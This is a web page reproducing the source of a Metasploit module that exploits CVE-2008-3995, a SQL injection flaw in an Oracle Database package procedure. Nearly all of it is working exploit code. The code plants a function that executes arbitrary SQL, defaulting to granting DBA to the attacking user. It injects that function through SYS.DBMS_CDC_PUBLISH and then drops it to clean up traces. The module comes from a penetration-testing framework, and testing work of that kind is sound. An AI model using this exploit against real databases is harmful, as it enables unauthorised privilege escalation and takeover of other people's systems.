CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::ORACLE
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',
12
'Description' => %q{
13
The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE
14
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
15
on the vulnerable package can exploit this vulnerability. By default, users granted
16
EXECUTE_CATALOG_ROLE have the required privilege.
17
Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.
18
Fixed with October 2008 CPU.
19
},
20
'Author' => [ 'MC' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2008-3995' ],
25
[ 'OSVDB', '49320']
26
],
27
'DisclosureDate' => '2008-10-22'))
28
29
register_options(
30
[
31
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
32
])
33
end
34
35
def run
36
return if not check_dependencies
37
38
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
39
40
function = "
41
CREATE OR REPLACE FUNCTION #{name}
42
RETURN VARCHAR2 AUTHID CURRENT_USER
43
IS
44
PRAGMA AUTONOMOUS_TRANSACTION;
45
BEGIN
46
EXECUTE IMMEDIATE '#{datastore['SQL']}';
47
COMMIT;
48
RETURN NULL;
49
END;"
50
51
package = "
52
BEGIN
53
SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE('''||'||user||'.#{name}||''');
54
END;
55
"
56
57
clean = "DROP FUNCTION #{name}"
58
59
begin
60
print_status("Sending function...")
61
prepare_exec(function)
62
rescue => e
63
return
64
end
65
print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...")
66
prepare_exec(package)
67
68
print_status("Done! Removing function '#{name}'...")
69
prepare_exec(clean)
70
end
71
end
72
73